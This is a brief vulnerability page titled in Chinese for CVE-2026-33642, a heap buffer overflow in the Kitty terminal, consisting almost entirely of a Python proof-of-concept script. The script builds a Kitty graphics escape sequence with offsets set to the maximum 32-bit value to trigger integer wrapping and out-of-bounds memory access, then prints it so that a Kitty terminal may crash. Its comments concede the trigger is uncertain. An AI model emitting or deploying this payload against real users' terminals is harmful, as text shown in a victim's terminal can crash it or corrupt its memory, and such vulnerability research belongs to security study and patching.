CVE-2026-33642 Kitty终端堆缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33642 (Kitty Heap Buffer Overflow) # This script generates a malicious escape sequence to trigger the integer wrapping vulnerability. # The payload sends a graphics command with crafted large offsets to cause OOB access. import sys def generate_malicious_payload(): # Start of Kitty Graphics Protocol escape sequence # Format: ESC_G ... ; ESC\ # We try to trigger the bug in handle_compose_command by crafting offsets # that wrap around the unsigned 32-bit check. # Using a large value (e.g., close to 2^32 or specific wrapping value) # to simulate the x_offset/y_offset that causes the overflow. malicious_offset = 4294967295 # Max uint32, causes wrapping in specific arithmetic contexts # Constructing a payload that attempts to use these offsets. # Note: Actual trigger depends on specific implementation of compose_rectangles. payload = "\033_G" payload += f"f=32,s=1,v=1,a=T,t=f,x={malicious_offset},y={malicious_offset}," payload += "i=1,p=1,q=2;" payload += "AAAA" # Dummy data payload += "\033\\" return payload if __name__ == "__main__": print("[+] Generating malicious payload for CVE-2026-33642...") print("[!] Printing payload to stdout. If running in Kitty, this may crash the terminal.") sys.stdout.write(generate_malicious_payload()) sys.stdout.flush()